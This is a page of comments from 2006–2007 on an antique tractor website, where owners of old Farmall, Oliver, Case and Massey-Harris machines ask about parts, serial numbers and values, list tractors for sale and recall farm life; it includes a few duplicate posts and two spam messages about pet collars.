richard cochrane wrote on Saturday, May 19, 2007 (PDT):I HAVE A 1949 OC3 OLIVER TRACTOR CRAWLER WITH A ONE YARD BUCKET IT WILL LIFT ITS OWN WEIGHT THE POOR LITTLE GUYI had to add more counter weight to make it more secure to move allso a V shaped snow blade its for sale squamish bc canada
karen thomas wrote on Thursday, May 17, 2007 (PDT):Desparately looking for side panels for my Oliver Super 77 Diesel. will pay top dollar!
Ryan Reed wrote on Wednesday, May 16, 2007 (PDT):I own a uts that was in my shed for 26 years put gas in it and battery it fired right up runs perfect wonder the year serial # 0124800214
Peter Garder wrote on Sunday, May 13, 2007 (PDT):I m looking at a 1066, it has a fair age to it, is there anyone who could advise on things to look for with this model. Bless You Peter Gardiner.
Don wrote on Saturday, May 12, 2007 (PDT):I recently inherited a fully restored 1946 I-9. I m told it s fairly rare. Looks showroom ready. Would appreciate any feedback. Thanks!!
Gary wrote on Saturday, May 12, 2007 (PDT):Please tell me where I can find parts for my Field Marshall. I had a little problem and now I need to get it running again. I just need engine parts. Thank You.
Gary wrote on Saturday, May 12, 2007 (PDT):Please tell me where I can find parts for my Field Marshall. I had a little problem and now I need to get it running again. I just need engine parts. Thank You.
Scott wrote on Wednesday, May 09, 2007 (PDT):FOR SALE; I have a Farmall B Culti-Vision with a mower that is in very good condition and still runs, in Iowa. Needs little to no maintenence. I have pictures. Please reply to stpear at iastate.edu
J. I. Akeman wrote on Monday, May 07, 2007 (PDT):I am looking for a plow, a single point attachment for a cub lowboy. Please email me if you have one.
Jim Farber wrote on Sunday, May 06, 2007 (PDT):Looking for an email pen pal who is currently restoring an HC or IC IHC 8-16
Trevor Veech wrote on Saturday, May 05, 2007 (PDT):We have a super MD on our farm that we use for odd jobs during the summer. We also set the pump up on it because we pull with it at a couple of tractor pulls every year. We bought it for 600 wich I thought was a pretty good deal evan though it doesnt look as good as this one in the picture.
harte Crow wrote on Friday, May 04, 2007 (PDT):I m trying to mount a Sunmastr S48-0 mammermill flail mower under the belly of my Cub. I think the mounting hardware is lost; however, I have a means of fabricating it if I can see how the mower is supposed to be mounted. Does anyone know where I can see photos of such a mower on a Cub
John Kavulick wrote on Wednesday, May 02, 2007 (PDT):I have a question about the front wheels on the oliver 60. The oliver my father and i are working on have 15 ,5.60 wheels. Is it ok to put 16 ,5.50s on
roger gilley wrote on Monday, April 30, 2007 (PDT):i have a 1942 hg 31 i need a drive geag on the left side i brock the 12 studs off or will ing to sell it runs osom an has all the oringanl spark plugs i an the secont owner an the old gut i got it off got it new he put a blad on it runs good works grate nice toy would like to fix or sell
DONNA M wrote on Sunday, April 29, 2007 (PDT):We have a 1965 cub tractor with pto, plow, spike tooth harrow, disc, tumble bucket, center grader blade, front grader blade, sickle bar mower, and a home made manure dump trailer. Located in San Diego CA area. It runs, needs a basic tuneup. Could use paint, it s yellow now. Any ideas on what it is worth or what I should ask for it
william Fuquea wrote on Sunday, April 29, 2007 (PDT):I have a LA J D for sale if you wold like to see pictures send me a email and I will send them, it needs to be restored Phone 423-762-3963
James wrote on Sunday, April 29, 2007 (PDT):It s James again From Canada. My e-mail is cherisse at mts.net
James wrote on Sunday, April 29, 2007 (PDT):Hi my name is James I live in Lockport, Manitoba Canada. I have a set of Arps half tracks I can t get them to stay on the tires. I also have a set of skis for the front tires. If anyone has any literature for these tracks or can tell me how to set them up I would appreciate it. Also what type of tires do I need I was told I need turf tires but I don t know.
Paul Tie ottawa wrote on Friday, April 27, 2007 (PDT):I was looking at Massey f Ferguson 97 4x4 nd could not find the Sn where is it and how can i identify these tractors also would like to have any words of wisdom for a potwntial owner Thanks Paul
Richard Sweet wrote on Wednesday, April 25, 2007 (PDT):I have a 1948 F-cub with Hydr. Two disc plow, and a woods belly, mower and wheel weights, all for sale with orig. manuel. I have a parts manuel to.Runs great smokes a little but so do I.needs front tire.I am the second owener Tractor is from Ohio, But is now retired in Florida. Contact me If Interisted
Richard Sweet wrote on Wednesday, April 25, 2007 (PDT):I have a 1948 F-cub with Hydr. Two disc plow, and a woods belly, mower and wheel weights, all for sale with orig. manuel. I have a parts manuel to.Runs great smokes a little but so do I.needs front tire.I am the second owener Tractor is from Ohio, But is now retired in Florida. Contact me If Interisted
Alan D Harmon wrote on Monday, April 23, 2007 (PDT):Iam looking for regular. I have restored a F12, F20, F30. Also loohing for F14. My collection are unstile tractors. I have alot fun restoring tractors.
Linda Johnston wrote on Friday, April 20, 2007 (PDT):We have a 1941 International AV. Has cultivator and wheel weights. New tires, too. Would be interested in seeing it go to a good home. You may call 989-762-5122. Located in Michigan. We ve used it as a garden tractor and no longer have a big garden. Runs swell.
Chuck wrote on Tuesday, April 17, 2007 (PDT):I have an unrestored 1942 Farmall BN for sale in Ohio. If anyone is interested, please reply to faithpastor at alltel.net
Chuck wrote on Tuesday, April 17, 2007 (PDT):Mr. Bartling, If the model # is actually the serial #, it may have been manufactured early in 1941. Serial #s of the BN ran from 6744 to 41500 that year. Hope this is helpful
Henry Hahn wrote on Saturday, April 14, 2007 (PDT):Mark send your address to the Leader tractor club for a packetof information about history of co. 7606 Hwy. J. Perryville, MO 63775
zac wrote on Friday, April 13, 2007 (PDT):Anyone out there looking for a farmall b+n 1942 for parts. To my knowledge it hasn t been started for 20yrs. The barn is about to fall on it and I d hate to see it be destroyed. e-mail me if there is any interest in it. Zronek at zoominternet.net THE tractor is in medina,ohio
Jim Farber wrote on Wednesday, April 11, 2007 (PDT):MITCH; My email is tractasaurus at pacific.net Jim
Jim Farber wrote on Wednesday, April 11, 2007 (PDT):MITCH; My email is tractasaurus at pacific.net Jim
MITCH GREVENSTUK wrote on Wednesday, April 11, 2007 (PDT):PLEASE SEND ME YOUR E-MAIL THEN. I DON T KNOW WHY MY E-MAIL DIDN T WORK. TRY AGAIN, I GUESS
Jim Farber wrote on Wednesday, April 11, 2007 (PDT):Mitch; The email address you offered came back with address has permanent fatal errors .I hope your tractor is in better shape.Why don t you email me and we ll try again Jim
steve wrote on Monday, April 09, 2007 (PDT):well hello my name is steve and im from northwestern pa. I have been raised on ih and love them but i think the best tractor we have ever had is our old oliver 88. I love it. I have reacently purchased a rc70 and would like to restore it. I know where there are three other oliver 70s but they are stripped to the frame with nothing to offer. im trying to find fenders.If anyone could help or offer any web sites i sure would appreciate it
blair mysko wrote on Sunday, April 08, 2007 (PDT): I have a 1944 Oliver 70 Standard S/N 308828. It is a six cyilinder engine, should be 6 forward gears 1 reverse. I would like to know the shifting pattern, can anyone help me. We are thinking of selling this tractor 4,500.00.
Alvin McLellan wrote on Sunday, April 08, 2007 (PDT):My Dad had one of these when i was a wee boy. It was his only tractor! First tractor i ever drove, drove it right into the garage cuz i could nt reach the clutch! I have a 30 and a 33 massey would love to find a pacer. Pretty rare nowadays! Keep up the good work!
MITCH wrote on Thursday, April 05, 2007 (PDT):HEY JIM FARBER, JUST GOT BACK ON. HERE IS MY E-MAIL; buffi2 at bnin.net. please contact me.
johnny red wrote on Wednesday, April 04, 2007 (PDT):Restoring/modifying an M, want to install a M/W live hyd. pump,any tips on plumbing Do you use the orig. pump as a tank Do you have to remove internals from orig. pump Will M/W pump pull fluid up from a tank this low Any tips or info. sources/pictures would be greatly appreciated. Tractor is 70% comp. already have M/W pump but am considering using orig., after this much time and labor when it goes together it better not have to come apart for a looong time!
Jeffery T wrote on Wednesday, April 04, 2007 (PDT):I have a 1948 8N for sale.She has a new clutch and pressure plate and ther hyds work great.
Josh H wrote on Tuesday, April 03, 2007 (PDT):I have a Farmall BN Serial #; FABN 102294. The tractor is in excellent condition. It has new tires, new paint, and runs very well. Yesterday, while hooking up my finish mower to the home made 3 point hitch, I broke the output shaft on the PTO The mower was stuck from sitting all winter . I d like to buy one so I can get the tractor ready for mowing. Also, I d like to know what the tractor is worth.
Heath Bradshaw wrote on Monday, April 02, 2007 (PDT):I have an 1949 Case LA Industial Series Model. I would like to know if this tractor has a dry or wet clutch housing There is no rear main seal for this engine. And it want disengage to change the gear. Any suggestions at all would be very nice
Heath Bradshaw wrote on Monday, April 02, 2007 (PDT):I have an 1949 Case LA Industial Series Model. I would like to know if this tractor has a dry or wet clutch housing There is no rear main seal for this engine. And it want disengage to change the gear. Any suggestions at all would be very nice
Jim Broughton wrote on Saturday, March 31, 2007 (PST):Joe Morgan; The oil pump is on the rear wall of the engine, if you have to replace it, you will have to split the tractor at the clutch housing, remove the clutch and flywheel and just to the upper left of the rear seal is a bump-out plate that is the rear of the oil pump ! Good luck, it s a lot of work to get to, but fairly easy to fix ! Jim B.
donald wrote on Saturday, March 31, 2007 (PST):I just bought a 8n with a flat head 6 .Model 8n 4024 and I have 2 different numbers on the motor.ISHE22 ANS ISHD9.Does anyone know what year this is and what hp What size brushhog it can pull
paul dahlkemper wrote on Thursday, March 29, 2007 (PST):When I was a kid in 3rd grade, I operated an Oliver 70 row crop, six cylinder, 4 forward and 1 reverse. Hand operated two row cultivators for corn. I operated it until 1952 and sold it when I came home from the service in 1954. I have always missed it. My bride finally, cured me and we have been happily married for 55 years. Six kids later I am looking for pictures of the old tractor.
Nick Kunik wrote on Wednesday, March 28, 2007 (PST):I am in the process of restoring a 1948 AC G and need to replace the two radiator fan shaft bearings. I can not seem to find any replacment bearings anywher. They probaly do not make or have OEM bearings for sale any wher so I am hoping someone knows of a aftermarket bearing. Any info on this would be greatly appreciated Nick from Mt.Pleasant MI.
brad siegmund wrote on Tuesday, March 27, 2007 (PST):I have a 1947 D and am looking forthe linkage for connecting the radiator louvers to the dash control and for a pto and cover. thanx
John J Hunt wrote on Monday, March 26, 2007 (PST):My dad had one that looked just like the picture from about 1928 or 1929 until he traded it for a model B Allis Chalmers in 1937 or 1938. Hadn t saw one since until we attended the old Threshers in Mt Pleasant Iowa and the fellow from Omaha was there with his two. Thanks.
Joe Morgan wrote on Sunday, March 25, 2007 (PST):Where is the oil pump on farmall cub tractor Thank You
Dennis wrote on Friday, March 23, 2007 (PST):I have a 420c that has been tested tough in Alaska woods under extreme temperatures for over 20 years. Still runs great. switched to 12 volt neg ground 3 years ago and added electronic ignition. Starts and runs great. no fouled plugs. I m having trouble locating a new engine clutch disc and pressure plate. Serial #135375. Can someone point me towards an aftermarket supplier I also have some used parts.
Hunter Prowse wrote on Friday, March 23, 2007 (PST):The decal on the tractors went from Mcormick Deering Farmall To Mcormick Farmall,around the time the paint went from grey to red, and the body style changed. It was all part of the transformation in about 1936 or 1938.
Bud Moellinger wrote on Thursday, March 22, 2007 (PST):Looking for a carb for an 8N with the six flathead industrial engine. Or, number of carb, to try to find rebuild kit. Thanks.
Jim Farber wrote on Tuesday, March 20, 2007 (PST):Can t get email address to show for Mitch.We may be able to help each othwer on parts.Jim
John O Keefe wrote on Monday, March 19, 2007 (PST):I have a 1946 Farmall A I need to sell can anyone give me an idea of what it is worth. It has been garage kept no Hydrolics. I have some extras for it. I just want a starting point.
S. Dark wrote on Saturday, March 17, 2007 (PST):We have a Farmall F14 that the family has had on the farm in North Carolina all my life. As a boy in the mid fifties, I used it to tend the farm and now that my Father has passed, I am considering selling it. My Father had it in good running order, new paint, etc., and it was driven up until it was parked inside about four years ago. I can still remember the magnito start and my Father telling me to never loop your thumb around the crank in case it kicked because it might break your thumb. I thought I would ask if anyone was interested in purchasing a very good F14 or suggest where I might go to offer it for sale.
Les warner wrote on Saturday, March 17, 2007 (PST):I have a 41 L A. It has been comepletely restored, and I have receipts from the previous owner showing what was done on the complete tractor. The engine has been completly gone through. My problem is low oil pressure when it get s up to the normal temp. I have tried every thing,with out going in to it, like oil pump shims, heavy oil, like what was suggested 50 wieght, but the same thing, it always comes down to low pressure after becomeing hot. Any ideas, other than lookin inside Les Warner, Eugene, Or
MITCH wrote on Thursday, March 15, 2007 (PST):I M RESTORING A 1915 IHC8-16 KEROSENE AND AM LOOKING FOR PARTS AND A MANUAL.RESPOND VIA E-MAIL. THANKS MITCH
Joe Schueler wrote on Wednesday, March 14, 2007 (PST):I m restoring a 1948 Farmall Cub and its mounted 172 Runner Planter. Can anyone send me a color picture of a restored Cub wearing its restored planter so I can find out how to place the decals If I can find a picture I can have the decals made here in Kasson, MN.
don wrote on Tuesday, March 13, 2007 (PST):Could anyone tell me how much a Ford Flathead V8, 100hp. it s a late 1940 s or early 1950 s motor,could be worth. It has been completely restored and painted and runs real good!! Thank You
Jack Sober wrote on Sunday, March 11, 2007 (PST): I receved my 1951 super c as a gift in 2000. unknowing it had two smashed and beetend pistons.It did not run,so I found a macanic and started to open the can of warms that hapens when you take on this type of prodject.I baut a comeplet engine block,genarater/alternater,starter,points and condencer,distibuter,voltigragulater,battery and all the wires to the lights.After 7 years and 3 moths it is ready for work in the feild and some perades.I have one thing to say to enyone that wants to do this kind of operation you must have paionts,good advisers and most of all money to speand.
Jim Farber wrote on Wednesday, March 07, 2007 (PST):Am looking to purchase 1918 or 1922 IHC 8-16.Also am looking for parts for same and have some to trade. Would like to chat with anyone currently restoring one.Thanks Jim
Ben Austic wrote on Wednesday, March 07, 2007 (PST):I have a 1956 TO-35 grey sheetmetal w/green undercarriage . I would like to purchase decals for the hood and original headlights. All decals that I have found for sale are red. If you have or know of any green decals, please contact me. I am also interested in purchasing any Ferguson attachments in any condition. Thanks!
Ryan Pelletier wrote on Saturday, November 11, 2006 (PST):My grandfather owned a MH 44D which he sold for peanuts in 1998. I was recently told the tractor he owned was very rare and in fact only 10 were manufactured. I am told that his tractor was restored and is now in a museum in Pennsylvania. Does anyone have information about the liklihood that some 44D only had 10 produced? Also any info about possible tractor museums in Pennsylvania would be appreciated. Thanks! Ryan
Jamie Dowell wrote on Thursday, November 09, 2006 (PST):A John Deere R was the 1st tractor my dad ever bought. Man what a work horse. I really miss that old tractor
Jamie Dowell wrote on Thursday, November 09, 2006 (PST):I own a IH H that my dad got 20 some years ago from a farm sale. It's been sittin for about 14 years, and I'd like to restore it. We can't seem to figure out what year it is. Can anyone please give me some advise on how to figure out the year?
James Toburen wrote on Thursday, November 09, 2006 (PST):My dad bought a new supper 55 gas in 1958 when I was a kid. It was the tractor I grew up with and farmed with until I left the farm after college. I bought a 1955 gas super 55 several years ago to play with on a 10 acre farm. It has the original front end loader, and an aftermarket box blade. I moved off the 10 acres. The tractor is for sale.
Frank wrote on Tuesday, November 07, 2006 (PST):Question-I have a 1948 Farmall M,3 point with pto. Will a John Deer #9 sickle mower fit/work on my tractor? Appreciate answer asap-Thanx
Ron Moormeier wrote on Tuesday, November 07, 2006 (PST):Looking for rear rims and rear tires for Allis G.
Rick Williams wrote on Monday, November 06, 2006 (PST):I am trying to restore a 1948 MH 81 that my grandfather gave me. I'm having a hard time finding a radiator and a grill for it. Can anyone give me any websites that would have these parts?
Warren Pannett wrote on Thursday, November 02, 2006 (PST):I just bought a 1948 Oliver 60 for $100.00 I am sure I can get it running but I am in the market for a hood. Anyone knowing where I could get one please E-mail me back. live in Clovis Ca. Thanks Warren
Payson wrote on Sunday, October 29, 2006 (PST):I'm 14 and just bought a farmall B to restore for a 4-H project. It runs good, but in the "learning spirit" of a 4'H er, I know NOTHING about how to begin restoring my tractor. Does anyone have recommendations for any good books or other sources? I'm SO EXCITED to begin my project!....My parents even let me bid and buy the tractor all by myself.
fred summers wrote on Sunday, October 29, 2006 (PST):for sale 1947/modfcubm ft blade&rear blade,hyd liftruns,needs starter rebuilt,hand crank starts ok needs restored $1600.00/sagle,id 208-265-8120
Luis wrote on Sunday, October 29, 2006 (PST):I have one question how much does a $20.00 bill dated back to 1864 would be worth
Gene Zortman wrote on Saturday, October 28, 2006 (PDT):I own a 1066 with a Westendorf loader which I may be selling in a couple of years... It's got a cab and I had it overhauled a couple years ago... Can anyone tell me what it is worth?
Fred Walter wrote on Saturday, October 28, 2006 (PDT):Anyone know of a G for sale near Southwestern Ontario? The motor doesn't have to run because if I buy a G, I'm very tempted to do the following to it; www.flyingbeet.com/electricg
Bob wrote on Thursday, October 26, 2006 (PDT):I have 3 Farmall Cubs for sale. They are all in excellent condition. They all have a belly mower. I also have an IH Cub Loboy in good condition. If anyone is interested call 740-264-5633. I live in Wintersville, OH
Dan Hayman wrote on Thursday, October 26, 2006 (PDT):At the age of 12 or 13 I was doing all the work with The General. It pulled a 16 inch Avery plow and a disc. That was the extent of the equipment. I wanted my dad to cut the long tongue off the wagon and mowing machine, but he said the horses needed to work. I was in 7th Heaven working The General. One time the front wheel became loose and I had to finish plowing a field with the horses. I had to replace the left wheel brake once. My neighbor had a Ford tractor and we hooked the drawbars together, I killed his engine in 3rd gear, he killed my engine in 2nd gear, and we both set and spun the wheels in first gear. I loved that ole tractor. Thanks...
michael wrote on Wednesday, October 25, 2006 (PDT):thanks for good info
Bob Waters wrote on Wednesday, October 25, 2006 (PDT):I am in New Zealand also and there are a few MD models around as I have seen them when I was younger and I know of one running with a front bucket. Where can you get a service manual for them?
Jeremy wrote on Tuesday, October 24, 2006 (PDT):I have an Oliver Super 99 Diesel sitting in by backyard in Western Montana. It was parked, with cultivator still attached, a while back, and just left. The tires are even still holding air. A little TLC to the fuel and electrical systems and some body work with a paint job, and this tractor would restore nicely. How much would you be looking to spend to pick it up? Please don't try to lowball me on this, as I will just do the restoration myself for use in tractor pulls and parades instead of agree to sell it.
funkie guy wrote on Tuesday, October 24, 2006 (PDT):if you kow of any ford funks for sale please tell me at my email address thank you
Frank Fry. wrote on Tuesday, October 24, 2006 (PDT):Having just aquired a 1956 fordson major tractor with original log book, I found this site whilst looking for information on it. The story of this tractor goes as follows. Last week I had to go to an engineering yard just outside of Bristol to collect some thing else whilst there I saw this old tractor tucked away in the corner of their yard. I asked what was happening with it, I was told that the whole site had been sold for housing and everything was being srapped. I said the tractor is being scrapped as well ? They said yes we are waiting for the scrap people to arrive. Anyway I gave them 20.00 for their tea & coffee put it on a trailer and took it home. It needed a starter and 3 light bulbs, and it started up as sweet as anything. There is no rust or damage to it whatsoever it also has a front loading bucket. The starter cost me 120 and the bulbs 1 each, I think I may have done quite well.
terry wrote on Saturday, October 21, 2006 (PDT):i have a 1945 farmall model a and it has a diamond shape front axle. can some one tell me why?
charlie K wrote on Saturday, October 21, 2006 (PDT):I have a Farmall M (actually 2 of them). The one I recently purchased appears to have blown out the clutch. I believe the tractor must be broken in half to repair. My question is any idea how much such a repair might cost, and whether it is worthwhile to even consider. Thanks!!!!!
Mark wrote on Friday, October 20, 2006 (PDT):I'm have litl dog & cat! I want to share with you were you'll be find this for your pets; collar nice buy cat buy nice cat collar collar buy cat nice nice collar buy cat nice collar cat buy nice cat collar buy buy quality cat collar nice buy cat collar nice buy collar cat dog collar
newboy wrote on Friday, October 20, 2006 (PDT):I'm have litl dog & cat! I want to share with you were you'll be find this for your pets; collar nice buy cat buy nice cat collar collar buy cat nice nice collar buy cat nice collar cat buy nice cat collar buy buy quality cat collar nice buy cat collar nice buy collar cat dog collar
e. cencora wrote on Thursday, October 19, 2006 (PDT):hey guys i just boiught a farmal m tractor ,and trying to find out where i can get parts for it .
Larry Garrigus wrote on Wednesday, October 18, 2006 (PDT):I was raised on a 1946 SC case with the hand clutch and two wheels close together in front. That tractor was a stump pulling machine. It was also handy to pull big rocks. Front end would come off ground but with hand clutch, could handle with no problem. The only thing that was bad about the SC was its brakes. Seem to go bad all the time. I live in Missouri and would like to buy a 46 SC case if anyone has one in Missouri. Also my dad took a distributor off of a M Farmall and replaced the MAG on the old SC case. IT ran OK. The M Farmall was a 1951
John C Schurko, Mr wrote on Wednesday, October 18, 2006 (PDT):I thought I would let every one know I'm listing a 1948 M Farmall on Ebay. Should be on Tomorrow October 18, 2006. It's in nice restored condition with new tires. If anyone is interested email me. I would be happy to answer any questions!
clyde j, myers wrote on Wednesday, October 18, 2006 (PDT):All MM fans, I am currently searching for an older M possibly a gtb ( not sure of model or year of tractor) but it was converted with big V-8 gas motor, and sold from taylor mill , KY. in 1987 , wanted dead of alive, please help find, thanks, Jake
Louisa wrote on Tuesday, October 17, 2006 (PDT):I am looking for year and info on a Massey-Harris Serial # 405620 model 81R. Can anyone help?
Jim Broughton wrote on Monday, October 16, 2006 (PDT):Jerry Parks; Yep, your Cub is a 1953 model...have fun with 'er!! Jim B.
Kumaran Spaulding wrote on Monday, October 16, 2006 (PDT): I have a 1950 case DI hough loader/ backhoe and am looking for info on how I can get a hold of two rear wheels. The rear wheels that are on it now are all rusted out do to the leaking calcium. So any info would be very greatly appreciated. Thankyou.
Adam Singleton wrote on Monday, October 16, 2006 (PDT):Question? Where can I get a roadgear for a 37 F-20? If any one can help me please e-mail me. Thanks Adam Singleton Knox IN.
Emily wrote on Sunday, October 15, 2006 (PDT): i recently brought a Farmall c and a cub the cub came with a belly mower and the C came with a plow behind tiller. both of these tractors run like a clock we are about to do a restoration jo. if anyone cam give me the value of these items please do so
T wrote on Sunday, October 15, 2006 (PDT):Hello I have a 8-16 with some good parts if anyone is looking. Thanks
Ralph Miller wrote on Sunday, October 15, 2006 (PDT):Looking for a ac G ..with complete garden tools and attachments...would like La. area but am willing to travel for a working model G
Willie Scott wrote on Thursday, October 12, 2006 (PDT):I have a Massey Harris Super 101 with the Chrysler 6 cylinder. I need an Owner/Operators Manual and Service Manual. Can anyone help??
Paul Deatz wrote on Thursday, October 12, 2006 (PDT):Did the very last model of the IHC Farmall F-30 come out with a road gear. What was its top speed? Did it come out with starter and lights?
Billy White wrote on Thursday, October 12, 2006 (PDT):Looking for a 1952 8n with the funk conversion. Please send details and pics. Thanks.
Bob Welk wrote on Tuesday, October 10, 2006 (PDT):I am an 1947 Oliver Standard 80 ex owner, used it all the time in Nebraska wheat and corn crops until I sold it on farm sale and moved to the city. Loved that tractor, it did everything that had to be done except cultivating the corn.I did not take any pictures of it but would like to purchase one, suitable for framing,any ideas?
Butch Johnson wrote on Monday, October 09, 2006 (PDT):I would like to up the horsepower on an M Farmhall for using in antique tractor pulls
Tweed Vorhees wrote on Monday, October 09, 2006 (PDT):Just located the serial number on engine. 620655 If the chart in research area means that all numbers that begin with 620 means it is 1948, then i guess my mystery is solved. Anyway it also has the dual-range 6 forward, w reverse tranny. Also found the engine crank today in his shed.
Eathan wrote on Monday, October 09, 2006 (PDT):Wanted on West Coast (OR, WA or N. CA) - Oliver Dozer in fixable to working condition - email with info, pics if you got 'em, asking price and location. Thanks!
Tweed Vorhees wrote on Monday, October 09, 2006 (PDT):The sale for Uncle Cy's row crop 60 is thur 10/19/06 in stone creek, oh. I never did locate a tag with any id number so we still dont know exactly what year it is, but it will sell with a cultivator attached and it has been all repainted and re-stickered, etc. Anyone with any help can email me at vorhaus at verizon.net -- still looking for an approx value. Someone please help!!
Caleb Wilson wrote on Sunday, October 08, 2006 (PDT):I have a 1955 Farmall Cub that runs, has a new clutch, new front tires, a reworked front-end, and the original belly mount mower. I would like to sell it and would take serious offers. Please e-mail me!!! crw at shoffneragresearch.com
Lisa Kerner wrote on Thursday, October 05, 2006 (PDT):My father is looking for the paint numbers and where to purchase paint for a 1947 cocksutt that he is restoring. As a young man he owned this tractor and then sold it and had the oppertunity to repurchase it again a few years ago.
Ed Winkle wrote on Thursday, October 05, 2006 (PDT):I have a copy of a picture of my dad and grandpa on what looks to be one of these, taken about 1920. I am interested in learning more about this tractor.
Shauna Yeagle wrote on Thursday, October 05, 2006 (PDT):If you need any information please let me know. I'm the editor of the Sheppard Newsletter and I can get you incontact with the right person Thanks Shauna
Tim Walker wrote on Wednesday, October 04, 2006 (PDT):I have a question with regards to serial numbers. I have a Case C with the serial number C395929 and I am wondering what year that would be. If you could answer this question it would be much appreciated. Feel free to e-mail me any time with help. Thanks Tim
ken jackson wrote on Wednesday, October 04, 2006 (PDT):help help 560 gas carb frost up and the thing dies(p[lease help me I need this thing to run )
jerry parks wrote on Tuesday, October 03, 2006 (PDT):I just got my farmall cub. Ive wanted one since I was a kid. ser.# 168598 is that a 1953? Runs perfect, cranks by hand effortlessly. I need a radiator cap have original without its center piece and spring any ideas. Thanks Jerry Thomasville N.C.
Luke wrote on Tuesday, October 03, 2006 (PDT):I have a 1962 model GIV moline,My dad bought the tractor in 1978 from a auction out in western Okla. We used it for our main tillage tractor till 1984, when we replaced it with a larger tractor. Machine still runs good and looks pretty good for original paint and all,tach shows around 3,000 hours. With a little atention it could be a full timer again. I learned how to drive that tractor when I was nine years old, I'm now thirtyseven. Prairie Gold Forever!
jason wrote on Saturday, September 30, 2006 (PDT):1964 Supa Dexta When lifting the three point linkage main control arm (with implement on) have found it to be very stiff (as if it is under pressure). Once the control arm is at a certain height the three point linkage drops to the ground. Any suggestions on what the problem might be as all seals seem to be fine.
John Sullivan wrote on Saturday, September 30, 2006 (PDT):I own the 1950 Case SC that I grew up on. My dad bought the tractor new. I am looking for an Eagle hitch for it and would love to know how to find out the horsepower. Thanks, John
Hal Lougheed wrote on Friday, September 29, 2006 (PDT):I have owned a Oliver 550 tractor bought new in 1959,still running in excellent condition,this has been the best small tractor that i have farmed with for years,am now retired but still use this tractor on my acreage all year around,i also tractor pull with it in the antique class 1 and it is very competitive for a small tractor.lots of power and good gear ratio for this. Edmonton,Alberta.Would be interested in purchasing a good used 1959 or 1960 model.
angie cupp wrote on Thursday, September 28, 2006 (PDT):My husband has a 720 John Deere he is in the process of restoring and he would like a diagram or picture to show where the exact placement of the decals should go. Thanks a lot.
David Gilbert wrote on Thursday, September 28, 2006 (PDT):I have a F-20 ser. #FA44974, we are restoring and we would like to know the year aand color, we are the only owner and it goes back 5 generations. Thank you
Josh Snow wrote on Wednesday, September 27, 2006 (PDT):I have noticed that everyone puts the john deeres down which is good. but do you think that an allis with the same hp could hold its own against an IH?
paul wrote on Tuesday, September 26, 2006 (PDT):I have MH 44 would like to go modified stock pulling with it , how big can I go? stroke/bore,cam HP., ect.
howard williams wrote on Monday, September 25, 2006 (PDT):I am presently restoing a 1952 Model R. Have all the mechanical work done and painted. Now for the sheet metal. My fenders are a real mess. Have the left one ready for paint. Both had rust holes to be repaired. The tractor ran good when I bought it. The sprag shaft in the pony motor was cracked. Had to replace it, otherwise it was ok. Looking forward to showing it this comming spring in the N.C. area.
Tweed Vorhees wrote on Monday, September 25, 2006 (PDT):My wife's uncle owns a row crop 60 that he bought new. It has been in use on his farm until this summer when he had to go to a nrusing home ( he is 86 now). The tractor runs and works just fine. I need to know how to identify exactly what year it is -- obviously it is 1940 - something. It there an ID tag somewhere? tell me where so i can find it. We want to sell the tractor now that unlce Cy will never go back to the farm. We are going to have farm sale and sell all of his possessions next month. We need to get an approximate value for the tractor, too. It would be an ideal restoration project as all sheetmetal and tin is intact just as it was purchased some 55 years ago. Please email me if you can give me any info or if you know someone who would be interested in buying it for restoration. It is located in central OHIO. Thanks - Had it running last saturday -- hit the starter - and it popped right off - sits there and runs like a top!!
Larry French wrote on Sunday, September 24, 2006 (PDT):I,am looking for a back hoe that will fit on an old massey ferguson with a three point . Thanks so much larretired
Scott wrote on Saturday, September 23, 2006 (PDT):I've got a decent running unrestored B. Can the rear end be narrowed to BN or A width by using the axle housing from those tractors? Or anyone interested in trading an A for my B? I'm in NW Iowa. Scott
Randy wrote on Friday, September 22, 2006 (PDT):A 1943 SC Case was my dad's favorite tractor. The suspension seat and increased power was a huge jump from his first tracror, a 1936 Farmall F12. Dad said he never got tired working the Case in the field, and he loved the hand clutch. We still have his tractor here on the farm and until recently was a working tractor. Evidently a Case 4JMA magneto is not a common unit and ignition points are not available. I have explored the internet for replacement parts to no avail - any of you Case experts got a line on any 4JMA ignition points?
Zack Skrabanek wrote on Friday, September 22, 2006 (PDT):I'm 15 and I'm restoring a L or LA for an ag prodject. It is missing the belly pan. If you have one or know someone that does and you live around the Central Texas area please e-mail me know. Thanks!!!
Chris Wagstaff wrote on Friday, September 22, 2006 (PDT):i have had a major for several years but it suddenly started making a loud nocking noise. i discouvered that it came from the air intake/cleaner could any one help me by telling me what is making this noise and how i can sort it. thanks chris
Jim Broughton wrote on Thursday, September 21, 2006 (PDT):To C.W..Johnson; Your Cub is a 1952 model,built fairly early in the year. Hope this helps. Jim B.
D. VATH wrote on Thursday, September 21, 2006 (PDT):there are two reservoirs Transmission and Rear End. I usually fill til it comes out the side flow plug. The rear end... it depends if you are using a loader... the hydraulics oil comes from the rear end. If you are interested I can send you scan of manual page... doug
Mike Boyce wrote on Wednesday, September 20, 2006 (PDT):I have a 1948 Case VAO Runs like a top has eagle three point hitch no orchard fenders ,I have converted to 12 volt . Starts well runs great . I bought it for 300.00 was in a field for I dont know how long. What I need is a rear wheel mine is rusted through Could us hood and grill sheetmetal if any availible Call me any time 503 487-7679 any club info would be great. Thanks Mike in Dundee Ore
Don Dolick wrote on Sunday, September 17, 2006 (PDT):I am looking to purchase a circa 1940, 1941 wide front Silver King tractor and would like to know approximate values of these tractors in restored condition. Thanks!
Lester D. Bausch wrote on Saturday, September 16, 2006 (PDT): I have no idea as to when We aquired our "Regular" but it was the first tractor my Dad had on our farm. I beleive he bought it on steel and converted it to rubber. I remember he was comming back to the house going through some native grass land and hit a tree stump and knocked the front end out from under it. We bought an old junked "Regular" and used the front end. Eventually we only used it to cultivate corn, sometime having to pull it to get it started. We finaly had to quit using it in about 1962.
Lester D. Bausch wrote on Saturday, September 16, 2006 (PDT): My father bought a "44 Massey" sometime in the early 50's it had been used and partialy burnt in a fire and rebuilt. He used it until he sold his farm in 1980. As a boy in school I spent many days plowing, discing, and springtoothing ground for planting. The Massey was later sold to a friend living in Scandia Ks. who had it restored.
David Edgar wrote on Saturday, September 16, 2006 (PDT): I live in a place called Tapanui which is in the South Island of New Zealand and I have a 1947 M.D.It is the only one that we no of still in the country.We believe that there were five of this modle that came to New Zealand.I also own a Farmall H.V. which is also quite rare in New Zealand.Anyone interested can contact me at the above e.mail address.
terry colp nova scotia canada wrote on Saturday, September 16, 2006 (PDT):i have a 1948 case vai. love it. would like info on 3 point hitch.
